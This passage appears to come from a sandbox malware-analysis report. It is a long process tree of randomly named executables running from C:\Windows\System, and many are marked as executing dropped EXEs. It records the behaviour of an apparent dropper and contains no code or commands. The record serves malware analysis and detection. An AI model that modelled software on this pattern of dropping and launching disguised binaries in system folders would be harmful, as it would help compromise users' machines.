  C:\Windows\System\IuefiWu.exe
  2⤵
  - Executes dropped EXE
  PID:1872
- C:\Windows\System\jRMGLnP.exe
  C:\Windows\System\jRMGLnP.exe
  2⤵
  - Executes dropped EXE
  PID:3192
- C:\Windows\System\QLqFpEm.exe
  C:\Windows\System\QLqFpEm.exe
  2⤵
  - Executes dropped EXE
  PID:3344
- C:\Windows\System\eNTuPUd.exe
  C:\Windows\System\eNTuPUd.exe
  2⤵
  - Executes dropped EXE
  PID:2312
- C:\Windows\System\gGZVhFJ.exe
  C:\Windows\System\gGZVhFJ.exe
  2⤵
  - Executes dropped EXE
  PID:3940
- C:\Windows\System\SGNcaDk.exe
  C:\Windows\System\SGNcaDk.exe
  2⤵
  - Executes dropped EXE
  PID:4144
- C:\Windows\System\lvQITiv.exe
  C:\Windows\System\lvQITiv.exe
  2⤵
  - Executes dropped EXE
  PID:2112
- C:\Windows\System\hvlagnA.exe
  C:\Windows\System\hvlagnA.exe
  2⤵
  - Executes dropped EXE
  PID:4364
- C:\Windows\System\hIuGona.exe
  C:\Windows\System\hIuGona.exe
  2⤵
  - Executes dropped EXE
  PID:1680
- C:\Windows\System\nAauPiL.exe
  C:\Windows\System\nAauPiL.exe
  2⤵
  - Executes dropped EXE
  PID:2832
- C:\Windows\System\BoryqHW.exe
  C:\Windows\System\BoryqHW.exe
  2⤵
  - Executes dropped EXE
  PID:4776
- C:\Windows\System\qYUhZEJ.exe
  C:\Windows\System\qYUhZEJ.exe
  2⤵
  - Executes dropped EXE
  PID:3128
- C:\Windows\System\IfpUgSP.exe
  C:\Windows\System\IfpUgSP.exe
  2⤵
  - Executes dropped EXE
  PID:4836
- C:\Windows\System\AjVGcvR.exe
  C:\Windows\System\AjVGcvR.exe
  2⤵
  - Executes dropped EXE
  PID:1880
- C:\Windows\System\QeohmCz.exe
  C:\Windows\System\QeohmCz.exe
  2⤵
  - Executes dropped EXE
  PID:4200
- C:\Windows\System\CKORhXG.exe
  C:\Windows\System\CKORhXG.exe
  2⤵
  - Executes dropped EXE
  PID:4848
- C:\Windows\System\ZGiUQKX.exe
  C:\Windows\System\ZGiUQKX.exe
  2⤵
  - Executes dropped EXE
  PID:2584
- C:\Windows\System\HXRPSPh.exe
  C:\Windows\System\HXRPSPh.exe
  2⤵
  - Executes dropped EXE
  PID:1964
- C:\Windows\System\lMeAtTZ.exe
  C:\Windows\System\lMeAtTZ.exe
  2⤵
  - Executes dropped EXE
  PID:3964
- C:\Windows\System\EaZNZsW.exe
  C:\Windows\System\EaZNZsW.exe
  2⤵
  - Executes dropped EXE
  PID:456
- C:\Windows\System\lUCqWuy.exe
  C:\Windows\System\lUCqWuy.exe
  2⤵
  - Executes dropped EXE
  PID:3708
- C:\Windows\System\zVVbpFM.exe
  C:\Windows\System\zVVbpFM.exe
  2⤵
  - Executes dropped EXE
  PID:4856
- C:\Windows\System\IlszNFU.exe
  C:\Windows\System\IlszNFU.exe
  2⤵
  - Executes dropped EXE
  PID:1216
- C:\Windows\System\HBClqFv.exe
  C:\Windows\System\HBClqFv.exe
  2⤵
  - Executes dropped EXE
  PID:3788
- C:\Windows\System\chpIGRC.exe
  C:\Windows\System\chpIGRC.exe
  2⤵
  - Executes dropped EXE
  PID:4204
- C:\Windows\System\abgFSXW.exe
  C:\Windows\System\abgFSXW.exe
  2⤵
  - Executes dropped EXE
  PID:3952
- C:\Windows\System\yYAnOrb.exe
  C:\Windows\System\yYAnOrb.exe
  2⤵
  - Executes dropped EXE
  PID:3296
- C:\Windows\System\BLNlFWJ.exe
  C:\Windows\System\BLNlFWJ.exe
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Windows\System\SvVuDie.exe
  C:\Windows\System\SvVuDie.exe
  2⤵
  - Executes dropped EXE
  PID:548
- C:\Windows\System\ZffPqup.exe
  C:\Windows\System\ZffPqup.exe
  2⤵
  - Executes dropped EXE
  PID:4484
- C:\Windows\System\lAFxRrL.exe
  C:\Windows\System\lAFxRrL.exe
  2⤵
  - Executes dropped EXE
  PID:3456
- C:\Windows\System\ECtOEMW.exe
  C:\Windows\System\ECtOEMW.exe
  2⤵
  - Executes dropped EXE
  PID:920
- C:\Windows\System\vNtnKdS.exe
  C:\Windows\System\vNtnKdS.exe
  2⤵
  - Executes dropped EXE
  PID:4824
- C:\Windows\System\noBeRdo.exe
  C:\Windows\System\noBeRdo.exe
  2⤵
  - Executes dropped EXE
  PID:1736
- C:\Windows\System\JdIkPVk.exe
  C:\Windows\System\JdIkPVk.exe
  2⤵
  - Executes dropped EXE
  PID:5060
- C:\Windows\System\JYPVvKF.exe
  C:\Windows\System\JYPVvKF.exe
  2⤵
  - Executes dropped EXE
  PID:3368
- C:\Windows\System\KTfiyln.exe
  C:\Windows\System\KTfiyln.exe
  2⤵
  - Executes dropped EXE
  PID:4228
- C:\Windows\System\fYAWdbw.exe
  C:\Windows\System\fYAWdbw.exe
  2⤵
  - Executes dropped EXE
  PID:772
- C:\Windows\System\ykGPDIp.exe
  C:\Windows\System\ykGPDIp.exe
  2⤵
  - Executes dropped EXE
  PID:744
- C:\Windows\System\NCcdXLQ.exe
  C:\Windows\System\NCcdXLQ.exe
  2⤵
  - Executes dropped EXE
  PID:4044
- C:\Windows\System\VPNyJgb.exe
  C:\Windows\System\VPNyJgb.exe
  2⤵
  - Executes dropped EXE
  PID:4340
- C:\Windows\System\Gzgyexm.exe
  C:\Windows\System\Gzgyexm.exe
  2⤵
  - Executes dropped EXE
  PID:320
- C:\Windows\System\HpfKUVz.exe
  C:\Windows\System\HpfKUVz.exe
  2⤵
  - Executes dropped EXE
  PID:3076
- C:\Windows\System\eFgjEsZ.exe
  C:\Windows\System\eFgjEsZ.exe
  2⤵
  - Executes dropped EXE
  PID:4436
- C:\Windows\System\JneIvsO.exe
  C:\Windows\System\JneIvsO.exe
  2⤵
  - Executes dropped EXE
  PID:4864
- C:\Windows\System\TKJEnGt.exe
  C:\Windows\System\TKJEnGt.exe
  2⤵
  - Executes dropped EXE
  PID:4552
- C:\Windows\System\RaKisbt.exe
  C:\Windows\System\RaKisbt.exe
  2⤵
  - Executes dropped EXE
  PID:2096
- C:\Windows\System\GavIhDm.exe
  C:\Windows\System\GavIhDm.exe
  2⤵
  - Executes dropped EXE
  PID:1020
- C:\Windows\System\wSaNZVb.exe
  C:\Windows\System\wSaNZVb.exe
  2⤵
  - Executes dropped EXE
  PID:2840
- C:\Windows\System\bjJwQLx.exe
  C:\Windows\System\bjJwQLx.exe
  2⤵
  - Executes dropped EXE
  PID:2536
- C:\Windows\System\uIXSkGA.exe
  C:\Windows\System\uIXSkGA.exe
  2⤵
  - Executes dropped EXE
  PID:2964
- C:\Windows\System\OwXNoMY.exe
  C:\Windows\System\OwXNoMY.exe
  2⤵
  - Executes dropped EXE
  PID:4328
- C:\Windows\System\hEGZfAq.exe
  C:\Windows\System\hEGZfAq.exe
  2⤵
  - Executes dropped EXE
  PID:436
- C:\Windows\System\MhKwmXq.exe
  C:\Windows\System\MhKwmXq.exe
  2⤵
  - Executes dropped EXE
  PID:3364
- C:\Windows\System\BoRridt.exe
  C:\Windows\System\BoRridt.exe
  2⤵
  - Executes dropped EXE
  PID:688
- C:\Windows\System\xLhOBWI.exe
  C:\Windows\System\xLhOBWI.exe
  2⤵
  - Executes dropped EXE
  PID:2288
- C:\Windows\System\umZDarD.exe
  C:\Windows\System\umZDarD.exe
  2⤵
  - Executes dropped EXE
  PID:2220
- C:\Windows\System\UBhHdmb.exe
  C:\Windows\System\UBhHdmb.exe
  2⤵
  - Executes dropped EXE
  PID:1156
- C:\Windows\System\LHhvZYO.exe
  C:\Windows\System\LHhvZYO.exe
  2⤵
  PID:4912
- C:\Windows\System\KONaeoJ.exe
  C:\Windows\System\KONaeoJ.exe
  2⤵
  PID:768
- C:\Windows\System\DBzbXmH.exe
  C:\Windows\System\DBzbXmH.exe
  2⤵
  PID:4884
- C:\Windows\System\qOAtMLF.exe
  C:\Windows\System\qOAtMLF.exe
  2⤵
  PID:2248
- C:\Windows\System\ejPOUsV.exe
  C:\Windows\System\ejPOUsV.exe
  2⤵
  PID:4384
- C:\Windows\System\LNYIlms.exe
  C:\Windows\System\LNYIlms.exe
  2⤵
  PID:1620
- C:\Windows\System\UrtBNeE.exe
  C:\Windows\System\UrtBNeE.exe
  2⤵
  PID:1428
- C:\Windows\System\VATrrqK.exe
  C:\Windows\System\VATrrqK.exe
  2⤵
  PID:628
- C:\Windows\System\RgsqBnf.exe
  C:\Windows\System\RgsqBnf.exe
  2⤵
  PID:1116
- C:\Windows\System\qQBjqJC.exe
  C:\Windows\System\qQBjqJC.exe
  2⤵
  PID:2392
- C:\Windows\System\XcvtYcY.exe
  C:\Windows\System\XcvtYcY.exe
  2⤵
  PID:3568
- C:\Windows\System\HQHWcCH.exe
  C:\Windows\System\HQHWcCH.exe
  2⤵
  PID:3712
- C:\Windows\System\wxswhWK.exe
  C:\Windows\System\wxswhWK.exe
  2⤵
  PID:3572
- C:\Windows\System\zNBsPFK.exe
  C:\Windows\System\zNBsPFK.exe
  2⤵
  PID:2972
- C:\Windows\System\YIYevWa.exe
  C:\Windows\System\YIYevWa.exe
  2⤵
  PID:3080
- C:\Windows\System\FHTqsJg.exe
  C:\Windows\System\FHTqsJg.exe
  2⤵
  PID:5132
- C:\Windows\System\boeeBxj.exe
  C:\Windows\System\boeeBxj.exe
  2⤵
  PID:5160
- C:\Windows\System\EbmPYdV.exe
  C:\Windows\System\EbmPYdV.exe
  2⤵
  PID:5208
- C:\Windows\System\oBWKXFJ.exe
  C:\Windows\System\oBWKXFJ.exe
  2⤵
  PID:5228
- C:\Windows\System\lZazYmH.exe
  C:\Windows\System\lZazYmH.exe
  2⤵
  PID:5252
- C:\Windows\System\jaxoVpD.exe
  C:\Windows\System\jaxoVpD.exe
  2⤵
  PID:5272
- C:\Windows\System\OXhnoWx.exe
  C:\Windows\System\OXhnoWx.exe
  2⤵
  PID:5296
- C:\Windows\System\pShamMb.exe
  C:\Windows\System\pShamMb.exe
  2⤵
  PID:5324
- C:\Windows\System\azpwhfJ.exe
  C:\Windows\System\azpwhfJ.exe
  2⤵
  PID:5352
- C:\Windows\System\JvIenLQ.exe
  C:\Windows\System\JvIenLQ.exe
  2⤵
  PID:5380
- C:\Windows\System\CEsjFPX.exe
  C:\Windows\System\CEsjFPX.exe
  2⤵
  PID:5408
- C:\Windows\System\CYTYGTx.exe
  C:\Windows\System\CYTYGTx.exe
  2⤵
  PID:5440
- C:\Windows\System\EQqFNix.exe
  C:\Windows\System\EQqFNix.exe
  2⤵
  PID:5464
- C:\Windows\System\kYtHjjj.exe
  C:\Windows\System\kYtHjjj.exe
  2⤵
  PID:5496
- C:\Windows\System\sLWIvNM.exe
  C:\Windows\System\sLWIvNM.exe
  2⤵
  PID:5528
- C:\Windows\System\JWmwWJD.exe
  C:\Windows\System\JWmwWJD.exe
  2⤵
  PID:5556
- C:\Windows\System\cCxLdHi.exe
  C:\Windows\System\cCxLdHi.exe
  2⤵
  PID:5584
- C:\Windows\System\tfkekgs.exe
  C:\Windows\System\tfkekgs.exe
  2⤵
  PID:5612
- C:\Windows\System\aJyuGCP.exe
  C:\Windows\System\aJyuGCP.exe
  2⤵
  PID:5648
- C:\Windows\System\TGkExfT.exe
  C:\Windows\System\TGkExfT.exe
  2⤵
  PID:5732
- C:\Windows\System\sJDImXU.exe
  C:\Windows\System\sJDImXU.exe
  2⤵
  PID:5748
- C:\Windows\System\myYRYwE.exe
  C:\Windows\System\myYRYwE.exe
  2⤵
  PID:5764
- C:\Windows\System\QOAxZdG.exe
  C:\Windows\System\QOAxZdG.exe
  2⤵
  PID:5800
- C:\Windows\System\pQNYkaV.exe
  C:\Windows\System\pQNYkaV.exe
  2⤵
  PID:5824
- C:\Windows\System\tasixQl.exe
  C:\Windows\System\tasixQl.exe
  2⤵
  PID:5880
- C:\Windows\System\zDbhJCT.exe
  C:\Windows\System\zDbhJCT.exe
  2⤵
  PID:5904
- C:\Windows\System\zxDKlNO.exe
  C:\Windows\System\zxDKlNO.exe
  2⤵
  PID:5976
- C:\Windows\System\jTbeAPG.exe
  C:\Windows\System\jTbeAPG.exe
  2⤵
  PID:5992
- C:\Windows\System\dTKzdIp.exe
  C:\Windows\System\dTKzdIp.exe
  2⤵
  PID:6012
- C:\Windows\System\pGSUiNC.exe
  C:\Windows\System\pGSUiNC.exe
  2⤵
  PID:6032
- C:\Windows\System\XMRycDl.exe
  C:\Windows\System\XMRycDl.exe
  2⤵
  PID:6048
- C:\Windows\System\rLnDoLY.exe
  C:\Windows\System\rLnDoLY.exe
  2⤵
  PID:6068
- C:\Windows\System\OpTeqXe.exe
  C:\Windows\System\OpTeqXe.exe
  2⤵
  PID:6100
- C:\Windows\System\EFuAbLN.exe
  C:\Windows\System\EFuAbLN.exe
  2⤵
  PID:6120
- C:\Windows\System\svblcVr.exe
  C:\Windows\System\svblcVr.exe
  2⤵
  PID:6136
- C:\Windows\System\phAMChB.exe
  C:\Windows\System\phAMChB.exe
  2⤵
  PID:5024
- C:\Windows\System\HzeDTZE.exe
  C:\Windows\System\HzeDTZE.exe
  2⤵
  PID:1852
- C:\Windows\System\tnKeZYt.exe
  C:\Windows\System\tnKeZYt.exe
  2⤵
  PID:2668
- C:\Windows\System\VeeLUKb.exe
  C:\Windows\System\VeeLUKb.exe
  2⤵
  PID:5152
- C:\Windows\System\ZejKUMd.exe
  C:\Windows\System\ZejKUMd.exe
  2⤵
  PID:5240
- C:\Windows\System\WzdUssm.exe
  C:\Windows\System\WzdUssm.exe
  2⤵
  PID:5264
- C:\Windows\System\YMCAMsO.exe
  C:\Windows\System\YMCAMsO.exe
  2⤵
  PID:5456
- C:\Windows\System\FbxQziB.exe
  C:\Windows\System\FbxQziB.exe
  2⤵
  PID:1676
- C:\Windows\System\rOpjyQV.exe
  C:\Windows\System\rOpjyQV.exe
  2⤵
  PID:5604
- C:\Windows\System\itceRdJ.exe
  C:\Windows\System\itceRdJ.exe
  2⤵
  PID:5568
- C:\Windows\System\VKDpEsa.exe
  C:\Windows\System\VKDpEsa.exe
  2⤵
  PID:5548
- C:\Windows\System\jirDEnT.exe
  C:\Windows\System\jirDEnT.exe
  2⤵
  PID:5520
- C:\Windows\System\jOJczrU.exe
  C:\Windows\System\jOJczrU.exe
  2⤵
  PID:5628
- C:\Windows\System\sucmDIO.exe
  C:\Windows\System\sucmDIO.exe
  2⤵
  PID:3332
- C:\Windows\System\IJAXXtv.exe
  C:\Windows\System\IJAXXtv.exe
  2⤵
  PID:1056
- C:\Windows\System\bEzBcRl.exe
  C:\Windows\System\bEzBcRl.exe
  2⤵
  PID:5716
- C:\Windows\System\MYuEucu.exe
  C:\Windows\System\MYuEucu.exe
  2⤵
  PID:5756
- C:\Windows\System\QPcncmB.exe
  C:\Windows\System\QPcncmB.exe
  2⤵
  PID:5796
- C:\Windows\System\wvsrGkB.exe
  C:\Windows\System\wvsrGkB.exe
  2⤵
  PID:884
- C:\Windows\System\rnnpCYk.exe
  C:\Windows\System\rnnpCYk.exe
  2⤵
  PID:2748
- C:\Windows\System\yTjBdBW.exe
  C:\Windows\System\yTjBdBW.exe
  2⤵
  PID:5864
- C:\Windows\System\nnzhAiR.exe
  C:\Windows\System\nnzhAiR.exe
  2⤵
  PID:5900
- C:\Windows\System\jPJCthV.exe
  C:\Windows\System\jPJCthV.exe
  2⤵
  PID:5948
- C:\Windows\System\dTHKbTO.exe
  C:\Windows\System\dTHKbTO.exe
  2⤵
  PID:5988
- C:\Windows\System\aquGChG.exe
  C:\Windows\System\aquGChG.exe
  2⤵
  PID:6028
- C:\Windows\System\nALjqku.exe
  C:\Windows\System\nALjqku.exe
  2⤵
  PID:6108
- C:\Windows\System\rSZQZUF.exe
  C:\Windows\System\rSZQZUF.exe
  2⤵
  PID:5016
- C:\Windows\System\qLwEmSN.exe
  C:\Windows\System\qLwEmSN.exe
  2⤵
  PID:3252
- C:\Windows\System\pzRdvZT.exe
  C:\Windows\System\pzRdvZT.exe
  2⤵
  PID:5288
- C:\Windows\System\bTtWbGk.exe
  C:\Windows\System\bTtWbGk.exe
  2⤵
  PID:5452
- C:\Windows\System\QypKkzO.exe
  C:\Windows\System\QypKkzO.exe
  2⤵
  PID:5064
- C:\Windows\System\zyJTxoN.exe
  C:\Windows\System\zyJTxoN.exe
  2⤵
  PID:5492
- C:\Windows\System\QDlAjCu.exe
  C:\Windows\System\QDlAjCu.exe
  2⤵
  PID:2772
- C:\Windows\System\sVrTbxX.exe
  C:\Windows\System\sVrTbxX.exe
  2⤵
  PID:2716
- C:\Windows\System\RFroyBq.exe
  C:\Windows\System\RFroyBq.exe
  2⤵
  PID:4440
- C:\Windows\System\EiinWIa.exe
  C:\Windows\System\EiinWIa.exe
  2⤵
  PID:4492
- C:\Windows\System\zePrgdE.exe
  C:\Windows\System\zePrgdE.exe
  2⤵
  PID:2024
- C:\Windows\System\auqWSNn.exe
  C:\Windows\System\auqWSNn.exe
  2⤵
  PID:2492
- C:\Windows\System\nbEndnM.exe
  C:\Windows\System\nbEndnM.exe
  2⤵
  PID:3020
- C:\Windows\System\bxhXuUw.exe
  C:\Windows\System\bxhXuUw.exe
  2⤵
  PID:4788
- C:\Windows\System\GwUOliZ.exe
  C:\Windows\System\GwUOliZ.exe
  2⤵
  PID:3592
- C:\Windows\System\LqyiRqz.exe
  C:\Windows\System\LqyiRqz.exe
  2⤵
  PID:1824
- C:\Windows\System\YKzvbep.exe
  C:\Windows\System\YKzvbep.exe
  2⤵
  PID:5896
- C:\Windows\System\XoEVUIV.exe
  C:\Windows\System\XoEVUIV.exe
  2⤵
  PID:4008
- C:\Windows\System\BVKuboG.exe
  C:\Windows\System\BVKuboG.exe
  2⤵
  PID:5148
- C:\Windows\System\ahvjqNZ.exe
  C:\Windows\System\ahvjqNZ.exe
  2⤵
  PID:2588
- C:\Windows\System\GTXWytS.exe
  C:\Windows\System\GTXWytS.exe
  2⤵
  PID:6156
- C:\Windows\System\czxcYcp.exe
  C:\Windows\System\czxcYcp.exe
  2⤵
  PID:6188
- C:\Windows\System\ItYTFFg.exe
  C:\Windows\System\ItYTFFg.exe
  2⤵
  PID:6224
- C:\Windows\System\mpGIvKd.exe
  C:\Windows\System\mpGIvKd.exe
  2⤵
  PID:6240
- C:\Windows\System\OXEKuXU.exe
  C:\Windows\System\OXEKuXU.exe
  2⤵
  PID:6260
- C:\Windows\System\TMvrfiS.exe
  C:\Windows\System\TMvrfiS.exe
  2⤵
  PID:6292
- C:\Windows\System\kwtbFzT.exe
  C:\Windows\System\kwtbFzT.exe
  2⤵
  PID:6308
- C:\Windows\System\LVEGMeC.exe
  C:\Windows\System\LVEGMeC.exe
  2⤵
  PID:6328
- C:\Windows\System\nXlUPGT.exe
  C:\Windows\System\nXlUPGT.exe
  2⤵
  PID:6344
- C:\Windows\System\UCkRxjB.exe
  C:\Windows\System\UCkRxjB.exe
  2⤵
  PID:6364
- C:\Windows\System\QbZAZiE.exe
  C:\Windows\System\QbZAZiE.exe
  2⤵
  PID:6396
- C:\Windows\System\tDMfyEv.exe
  C:\Windows\System\tDMfyEv.exe
  2⤵
  PID:6420
- C:\Windows\System\YjHHjkW.exe
  C:\Windows\System\YjHHjkW.exe
  2⤵
  PID:6436
- C:\Windows\System\ELCOsCK.exe
  C:\Windows\System\ELCOsCK.exe
  2⤵
  PID:6460
- C:\Windows\System\bsYXUZx.exe
  C:\Windows\System\bsYXUZx.exe
  2⤵
  PID:6476
- C:\Windows\System\mWorXbe.exe
  C:\Windows\System\mWorXbe.exe
  2⤵
  PID:6500
- C:\Windows\System\LWIAOll.exe
  C:\Windows\System\LWIAOll.exe
  2⤵
  PID:6560
- C:\Windows\System\beiWGBV.exe
  C:\Windows\System\beiWGBV.exe
  2⤵
  PID:6588
- C:\Windows\System\BPjpszQ.exe
  C:\Windows\System\BPjpszQ.exe
  2⤵
  PID:6604
- C:\Windows\System\ZBKYOzk.exe
  C:\Windows\System\ZBKYOzk.exe
  2⤵
  PID:6628
- C:\Windows\System\SMKiZHQ.exe
  C:\Windows\System\SMKiZHQ.exe
  2⤵
  PID:6648
- C:\Windows\System\aknFekc.exe
  C:\Windows\System\aknFekc.exe
  2⤵
  PID:6672
- C:\Windows\System\wQenYzY.exe
  C:\Windows\System\wQenYzY.exe
  2⤵
  PID:6688
- C:\Windows\System\lWfAjfa.exe
  C:\Windows\System\lWfAjfa.exe
  2⤵
  PID:6708
- C:\Windows\System\fAIUoqN.exe
  C:\Windows\System\fAIUoqN.exe
  2⤵
  PID:6764
- C:\Windows\System\FhUjPSB.exe
  C:\Windows\System\FhUjPSB.exe
  2⤵
  PID:6816
- C:\Windows\System\mXFVnqw.exe
  C:\Windows\System\mXFVnqw.exe
  2⤵
  PID:6844
- C:\Windows\System\iPumzMS.exe
  C:\Windows\System\iPumzMS.exe
  2⤵
  PID:6864
- C:\Windows\System\SgJndMG.exe
  C:\Windows\System\SgJndMG.exe
  2⤵
  PID:6888
- C:\Windows\System\bbPYHYL.exe
  C:\Windows\System\bbPYHYL.exe
  2⤵
  PID:6912
- C:\Windows\System\RUZgQGv.exe
  C:\Windows\System\RUZgQGv.exe
  2⤵
  PID:6968
- C:\Windows\System\IfZmLNV.exe
  C:\Windows\System\IfZmLNV.exe
  2⤵
  PID:7052
- C:\Windows\System\IcrFFuu.exe
  C:\Windows\System\IcrFFuu.exe
  2⤵
  PID:7084
- C:\Windows\System\UybtDgQ.exe
  C:\Windows\System\UybtDgQ.exe
  2⤵
  PID:7112
- C:\Windows\System\hnGNHLl.exe
  C:\Windows\System\hnGNHLl.exe
  2⤵
  PID:7148
- C:\Windows\System\dWjkxeK.exe
  C:\Windows\System\dWjkxeK.exe
  2⤵
  PID:2692
- C:\Windows\System\TeocfOM.exe
  C:\Windows\System\TeocfOM.exe
  2⤵
  PID:728
- C:\Windows\System\QslgMFs.exe
  C:\Windows\System\QslgMFs.exe
  2⤵
  PID:5404
- C:\Windows\System\fUIgBcG.exe
  C:\Windows\System\fUIgBcG.exe
  2⤵
  PID:3304
- C:\Windows\System\mVUYkQH.exe
  C:\Windows\System\mVUYkQH.exe
  2⤵
  PID:6220
- C:\Windows\System\QXNJKLM.exe
  C:\Windows\System\QXNJKLM.exe
  2⤵
  PID:6276
- C:\Windows\System\lSPIeUd.exe
  C:\Windows\System\lSPIeUd.exe
  2⤵
  PID:6316
- C:\Windows\System\lzvPijr.exe
  C:\Windows\System\lzvPijr.exe
  2⤵
  PID:6524
- C:\Windows\System\cBeqYDT.exe
  C:\Windows\System\cBeqYDT.exe
  2⤵
  PID:6492
- C:\Windows\System\WzjFrwm.exe
  C:\Windows\System\WzjFrwm.exe
  2⤵
  PID:6548
- C:\Windows\System\cISLojJ.exe
  C:\Windows\System\cISLojJ.exe
  2⤵
  PID:6680
- C:\Windows\System\lnqvgTh.exe
  C:\Windows\System\lnqvgTh.exe
  2⤵
  PID:6616
- C:\Windows\System\KCMLsBP.exe
  C:\Windows\System\KCMLsBP.exe
  2⤵
  PID:6792
- C:\Windows\System\OuOPfNW.exe
  C:\Windows\System\OuOPfNW.exe
  2⤵
  PID:6704
- C:\Windows\System\Zkezssd.exe
  C:\Windows\System\Zkezssd.exe
  2⤵
  PID:6812
- C:\Windows\System\oJcwyJW.exe
  C:\Windows\System\oJcwyJW.exe
  2⤵
  PID:6872
- C:\Windows\System\aeyBLHD.exe
  C:\Windows\System\aeyBLHD.exe
  2⤵
  PID:7012
- C:\Windows\System\DIzdMfd.exe
  C:\Windows\System\DIzdMfd.exe
  2⤵
  PID:6980
- C:\Windows\System\gHjGtlZ.exe
  C:\Windows\System\gHjGtlZ.exe
  2⤵
  PID:7096
- C:\Windows\System\fpwipGG.exe
  C:\Windows\System\fpwipGG.exe
  2⤵
  PID:5944
- C:\Windows\System\hdMJmYJ.exe
  C:\Windows\System\hdMJmYJ.exe
  2⤵
  PID:4740
- C:\Windows\System\rIsaXjt.exe
  C:\Windows\System\rIsaXjt.exe
  2⤵
  PID:6380
- C:\Windows\System\tBnGSLw.exe
  C:\Windows\System\tBnGSLw.exe
  2⤵
  PID:6468
- C:\Windows\System\szXMhff.exe
  C:\Windows\System\szXMhff.exe
  2⤵
  PID:6656
- C:\Windows\System\McFCuqm.exe
  C:\Windows\System\McFCuqm.exe
  2⤵
  PID:4280
- C:\Windows\System\JAmwgIj.exe
  C:\Windows\System\JAmwgIj.exe
  2⤵
  PID:6988
- C:\Windows\System\stygYro.exe
  C:\Windows\System\stygYro.exe
  2⤵
  PID:4928
- C:\Windows\System\jWtoRHl.exe
  C:\Windows\System\jWtoRHl.exe
  2⤵
  PID:1144
- C:\Windows\System\lQWbKcO.exe
  C:\Windows\System\lQWbKcO.exe
  2⤵
  PID:6644
- C:\Windows\System\oVNakSF.exe
  C:\Windows\System\oVNakSF.exe
  2⤵
  PID:6964
- C:\Windows\System\hItedMu.exe
  C:\Windows\System\hItedMu.exe
  2⤵
  PID:6808
- C:\Windows\System\CIVurOE.exe
  C:\Windows\System\CIVurOE.exe
  2⤵
  PID:7204
- C:\Windows\System\eLRGMZf.exe
  C:\Windows\System\eLRGMZf.exe
  2⤵
  PID:7220
- C:\Windows\System\ugOQBAP.exe
  C:\Windows\System\ugOQBAP.exe
  2⤵
  PID:7240
- C:\Windows\System\QPwYAvf.exe
  C:\Windows\System\QPwYAvf.exe
  2⤵
  PID:7284
- C:\Windows\System\OmkCvUd.exe
  C:\Windows\System\OmkCvUd.exe
  2⤵
  PID:7304
- C:\Windows\System\iDWDBUR.exe
  C:\Windows\System\iDWDBUR.exe
  2⤵
  PID:7328
- C:\Windows\System\IUTKthN.exe
  C:\Windows\System\IUTKthN.exe
  2⤵
  PID:7344
- C:\Windows\System\OCWYHWQ.exe
  C:\Windows\System\OCWYHWQ.exe
  2⤵
  PID:7364
- C:\Windows\System\JGYxxQN.exe
  C:\Windows\System\JGYxxQN.exe
  2⤵
  PID:7384
- C:\Windows\System\UulyGIv.exe
  C:\Windows\System\UulyGIv.exe
  2⤵
  PID:7416
- C:\Windows\System\kbaSyYV.exe
  C:\Windows\System\kbaSyYV.exe
  2⤵
  PID:7432
- C:\Windows\System\GReINNJ.exe
  C:\Windows\System\GReINNJ.exe
  2⤵
  PID:7468
- C:\Windows\System\GzQuZDk.exe
  C:\Windows\System\GzQuZDk.exe
  2⤵
  PID:7544
- C:\Windows\System\eyZgDtU.exe
  C:\Windows\System\eyZgDtU.exe
  2⤵
  PID:7564
- C:\Windows\System\skZftTV.exe
  C:\Windows\System\skZftTV.exe
  2⤵
  PID:7596
- C:\Windows\System\FsstOCd.exe
  C:\Windows\System\FsstOCd.exe
  2⤵
  PID:7624
- C:\Windows\System\FRQDMGp.exe
  C:\Windows\System\FRQDMGp.exe
  2⤵
  PID:7652
- C:\Windows\System\ChmIOld.exe
  C:\Windows\System\ChmIOld.exe
  2⤵
  PID:7672
- C:\Windows\System\yxEPrAt.exe
  C:\Windows\System\yxEPrAt.exe
  2⤵
  PID:7700
- C:\Windows\System\VwHJxRz.exe
  C:\Windows\System\VwHJxRz.exe
  2⤵
  PID:7720
- C:\Windows\System\dfJOwaB.exe
  C:\Windows\System\dfJOwaB.exe
  2⤵
  PID:7748
- C:\Windows\System\ptKBbna.exe
  C:\Windows\System\ptKBbna.exe
  2⤵
  PID:7792
- C:\Windows\System\YLdTBTY.exe
  C:\Windows\System\YLdTBTY.exe
  2⤵
  PID:7812
- C:\Windows\System\cYlwObs.exe
  C:\Windows\System\cYlwObs.exe
  2⤵
  PID:7836
- C:\Windows\System\ucWYvad.exe
  C:\Windows\System\ucWYvad.exe
  2⤵
  PID:7852
- C:\Windows\System\UKPNeKo.exe
  C:\Windows\System\UKPNeKo.exe
  2⤵
  PID:7868
- C:\Windows\System\amxKAeN.exe
  C:\Windows\System\amxKAeN.exe
  2⤵
  PID:7896
- C:\Windows\System\JuXGFhc.exe
  C:\Windows\System\JuXGFhc.exe
  2⤵
  PID:7916
- C:\Windows\System\jbfWBtH.exe
  C:\Windows\System\jbfWBtH.exe
  2⤵
  PID:7972
- C:\Windows\System\coySqLi.exe
  C:\Windows\System\coySqLi.exe
  2⤵
  PID:8016
- C:\Windows\System\ittOvCp.exe
  C:\Windows\System\ittOvCp.exe
  2⤵
  PID:8032
- C:\Windows\System\OvHGVYn.exe
  C:\Windows\System\OvHGVYn.exe
  2⤵
  PID:8076
- C:\Windows\System\KhsjaUW.exe
  C:\Windows\System\KhsjaUW.exe
  2⤵
  PID:8092
- C:\Windows\System\UztfypE.exe
  C:\Windows\System\UztfypE.exe
  2⤵
  PID:8116
- C:\Windows\System\RZEixRv.exe
  C:\Windows\System\RZEixRv.exe
  2⤵
  PID:8140
- C:\Windows\System\Qyyipli.exe
  C:\Windows\System\Qyyipli.exe
  2⤵
  PID:8160
- C:\Windows\System\ZToVZfP.exe
  C:\Windows\System\ZToVZfP.exe
  2⤵
  PID:8184
- C:\Windows\System\QHqnCDk.exe
  C:\Windows\System\QHqnCDk.exe
  2⤵
  PID:7124
- C:\Windows\System\ntEDmAc.exe
  C:\Windows\System\ntEDmAc.exe
  2⤵
  PID:7196
- C:\Windows\System\cwjEfRz.exe
  C:\Windows\System\cwjEfRz.exe
  2⤵
  PID:7316
- C:\Windows\System\gUMxYPA.exe
  C:\Windows\System\gUMxYPA.exe
  2⤵
  PID:7360
- C:\Windows\System\kQtTHoN.exe
  C:\Windows\System\kQtTHoN.exe
  2⤵
  PID:7412
- C:\Windows\System\djyagdL.exe
  C:\Windows\System\djyagdL.exe
  2⤵
  PID:5688
- C:\Windows\System\YSEAzYC.exe
  C:\Windows\System\YSEAzYC.exe
  2⤵
  PID:7532
